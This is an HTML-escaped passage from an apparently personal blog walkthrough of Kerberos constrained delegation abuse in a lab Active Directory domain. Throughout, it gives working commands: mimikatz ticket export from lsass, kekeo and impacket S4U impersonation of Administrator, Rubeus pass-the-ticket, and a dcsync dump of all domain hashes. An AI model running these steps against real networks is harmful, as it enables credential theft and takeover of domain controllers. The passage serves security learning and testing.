class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Add the required group memberships to the account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-ADGroupMember -Identity &amp;#34;Server Operators&amp;#34; -Members &amp;#34;svc_sharepoint&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Set the SPN&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -A HTTP/webserver.domain.com svc_sharepoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -A HTTP/webserver svc_sharepoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify user creation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser svc_sharepoint -Properties *&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify the SPN configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -L svc_sharepoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# As an example, allow it to delegate to the CIFS service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ADAccountControl -Identity &amp;#34;svc_sharepoint&amp;#34; -TrustedToAuthForDelegation $true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ADUser -Identity &amp;#34;svc_sharepoint&amp;#34; -Add @{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;msDS-AllowedToDelegateTo&amp;#39;=@(&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;CIFS/WindowsServerAD.test.local&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;CIFS/WindowsServerAD&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; )&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify the configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser svc_sharepoint -Properties &amp;#34;msDS-AllowedToDelegateTo&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Find all accounts configured for constrained delegation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADObject -Filter {msDS-AllowedToDelegateTo -like &amp;#34;*&amp;#34;} -Properties msDS-AllowedToDelegateTo&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Account: svc_sharepoint; password: Password123!&lt;/p&gt;&#10;&lt;p&gt;As covered in the overview, under constrained delegation a service user can only obtain an ST for a particular user&amp;rsquo;s (or host&amp;rsquo;s) service. It can therefore impersonate that user only when accessing a specific service, and cannot obtain the user&amp;rsquo;s TGT. If we obtain the plaintext password or &lt;code&gt;NTLM Hash&lt;/code&gt; of a service user configured for constrained delegation, we can forge an S4U request and impersonate the service user to request an ST for a service with the privileges of &lt;strong&gt;any account&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;p&gt;If we know the service user&amp;rsquo;s plaintext password, we can request that user&amp;rsquo;s TGT with kekeo.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20211214" target="_blank" rel="noopener"&#10; &gt;https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20211214&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tgt::ask /user:svc_sharepoint /domain:test.local /password:Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tgt::ask /user:svc_sharepoint /domain:test.local /rc4:7f939d16a10a8fb0ef49eca637be8a7d&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0027.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This gives us the service user&amp;rsquo;s TGT.&lt;/p&gt;&#10;&lt;p&gt;We can then use this TGT to forge an s4u request and, as the &lt;code&gt;administrator&lt;/code&gt; user, request an ST to the domain controller&amp;rsquo;s &lt;code&gt;CIFS&lt;/code&gt; service.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0028.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We obtained two TGS tickets.&lt;/p&gt;&#10;&lt;p&gt;Use mimikatz to import the cifs ticket.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Clear existing tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;klist purge&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;klist&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::ptt TGS_Administrator@test.local@TEST.LOCAL_cifs~WindowsServerAD.test.local@TEST.LOCAL.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0029.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0030.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0031.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success. Everything works here. The ticket obtained in the unconstrained delegation section may genuinely have had a problem. I still do not know exactly what went wrong, but at least the ticket obtained with kokeo can be imported and used for authentication.&lt;/p&gt;&#10;&lt;p&gt;If we do not know the service user&amp;rsquo;s plaintext password or NTLM Hash, but we do have access to the host where that service user is logged in (with local administrator privileges), we can use &lt;code&gt;mimikatz&lt;/code&gt; to dump the service user&amp;rsquo;s TGT directly from memory.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;privilege::debug&amp;#34; &amp;#34;sekurlsa::tickets /export&amp;#34; exit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: &lt;code&gt;sekurlsa::tickets&lt;/code&gt; lists and exports &lt;code&gt;Kerberos&lt;/code&gt; tickets from every session. &lt;code&gt;sekurlsa::tickets&lt;/code&gt; differs from &lt;code&gt;kerberos::list&lt;/code&gt;: sekurlsa reads from memory—specifically, from the lsass process—which is why &lt;code&gt;sekurlsa::tickets /export&lt;/code&gt; requires administrator privileges. Its exports are not restricted by keys, and &lt;code&gt;sekurlsa::tickets&lt;/code&gt; can access tickets from other sessions (users).&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s try exporting them this way and see whether the import still fails as it did before.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Log the service account on locally once to generate a ticket; run the command below and enter the password to simulate a logon&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;runas /user:test\svc_sharepoint cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0032.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;mimikatz exported the ticket successfully. This is the service account we created.&lt;/p&gt;&#10;&lt;p&gt;But exploitation still failed.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tgs::s4u /tgt:[0;25bcdd]-2-0-40e10000-svc_sharepoint@krbtgt-TEST.LOCAL.kirbi /user:Administrator@test.local /service:cifs/WindowsServerAD.test.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0033.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But we still have Rubeus.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The remaining process is the same: read the data, write it locally, and then access the domain controller&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The drawback is that the service account&amp;#39;s session must remain connected after logon to obtain the ticket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Keep the Mimikatz method in mind; try Mimikatz first and use this method if it fails&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Open a command prompt with runas and leave it open&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;runas /user:test\svc_sharepoint cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe dump /service:krbtgt /user:svc_sharepoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0034.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The window on the right is the svc_sharepoint cmd. Once it closes, everything is gone.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Save it locally with this command for easier copying&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe dump /service:krbtgt /user:svc_sharepoint /nowrap &amp;gt;&amp;gt; ticket.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe ptt /ticket:[base64]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0035.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;dir \WindowsServerAD.test.local\c$&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0036.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="getting-domain-controller-access-with-unconstrained-and-constrained-delegation"&gt;&lt;a href="#getting-domain-controller-access-with-unconstrained-and-constrained-delegation" class="header-anchor"&gt;&lt;/a&gt;Getting Domain Controller Access with Unconstrained and Constrained Delegation&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;Getting a shell with unconstrained delegation is simple:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# After importing the Administrator ticket, access is effectively equivalent to Domain Admin; test each option when validating&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName WindowsServerAD&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::dcsync /domain:test.local /all /csv&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Getting a shell with constrained delegation&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;We know that TGTs are encrypted and signed by the &lt;code&gt;krbtgt&lt;/code&gt; user. If we can delegate a domain user to access &lt;code&gt;TGS&lt;/code&gt;, we can forge a TGT for any user. Ordinarily, a golden ticket is forged using the &lt;code&gt;krbtgt&lt;/code&gt; hash, but constrained delegation can achieve the same result.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: The default spn for &lt;code&gt;TGS&lt;/code&gt; is &lt;code&gt;krbtgt/domain name&lt;/code&gt;; in our environment, it is &lt;code&gt;krbtgt/test.local&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;krbtgt&lt;/code&gt; is disabled by default and cannot be enabled, so we cannot use the GUI to add this SPN.&lt;/p&gt;&#10;&lt;p&gt;We can add it with powershell.&lt;/p&gt;&#10;&lt;h2 id="let-me-explain-what-the-original-author-meant-above-our-service-accountthe-constrained-delegation-accountdoes-not-have-krbtgt-privileges-by-default-those-privileges-are-disabled-but-to-use-a-golden-ticket-i-need-krbtgt-this-service-account-already-has-cifs-privileges-from-our-earlier-configuration-i-cannot-delegate-krbtgt-to-this-service-account-in-my-environment-so-below-i-will-only-paste-the-original-authors-successful-method-then-use-cifs-to-take-over-the-domain-controller-myself-the-original-authors-method-is-separated-by-horizontal-rules"&gt;&lt;a href="#let-me-explain-what-the-original-author-meant-above-our-service-accountthe-constrained-delegation-accountdoes-not-have-krbtgt-privileges-by-default-those-privileges-are-disabled-but-to-use-a-golden-ticket-i-need-krbtgt-this-service-account-already-has-cifs-privileges-from-our-earlier-configuration-i-cannot-delegate-krbtgt-to-this-service-account-in-my-environment-so-below-i-will-only-paste-the-original-authors-successful-method-then-use-cifs-to-take-over-the-domain-controller-myself-the-original-authors-method-is-separated-by-horizontal-rules" class="header-anchor"&gt;&lt;/a&gt;Let me explain what the original author meant above. Our service account—the constrained delegation account—does not have krbtgt privileges by default; those privileges are disabled. But to use a golden ticket, I need krbtgt. This service account already has cifs privileges from our earlier configuration. I cannot delegate krbtgt to this service account in my environment, so below I will only paste the original author&amp;rsquo;s successful method, then use cifs to take over the domain controller myself. The original author&amp;rsquo;s method is separated by horizontal rules.&#10;&lt;/h2&gt;&lt;hr&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module ActiveDirectory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$user = Get-ADUser svc_sharepoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ADObject $user -Add @{ &amp;#34;msDS-AllowedToDelegateTo&amp;#34; = @(&amp;#34;krbtgt/test.local&amp;#34;) }&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: ActiveDirectory is installed on domain controllers by default. If it is missing, download the dll from this &lt;a class="link" href="https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll" target="_blank" rel="noopener"&#10; &gt;link&lt;/a&gt;, then import it with &lt;code&gt;import-module .\Microsoft.ActiveDirectory.Management.dll&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;I linked PowerView.ps1 above, but here it is again.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1" target="_blank" rel="noopener"&#10; &gt;https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainUser -TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser -Filter * -TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,&amp;#34;msds-allowedtodelegateto&amp;#34; | Format-List&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0037.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We can use the &lt;code&gt;impacket&lt;/code&gt; suite&amp;rsquo;s &lt;code&gt;getST&lt;/code&gt; to request administrator&amp;rsquo;s TGT from the KDC.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python getST.py -dc-ip 192.168.0.110 -spn krbtgt/WindowsServerAD.test.local -impersonate Administrator test.local/svc_sharepoint:Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I failed to reproduce this. It seems the version is too new, which prevents &lt;code&gt;krbtgt&lt;/code&gt; from being delegated. I&amp;rsquo;m recording it here anyway. There are all sorts of delegation techniques and many ways to use them; if you run into one, just search for the relevant method.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll use cifs instead.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python getST.py -dc-ip 192.168.0.110 -spn cifs/WindowsServerAD.test.local -impersonate Administrator test.local/svc_sharepoint:Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0038.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For the ccache, simply use PTC. I covered this on another page, so I&amp;rsquo;ll copy it over here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::ptc TGT_Administrator@MAO.COM.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;misc::cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dir \\WindowsServerAD.test.local\c$&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0039.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;wmiexec&lt;/del&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span 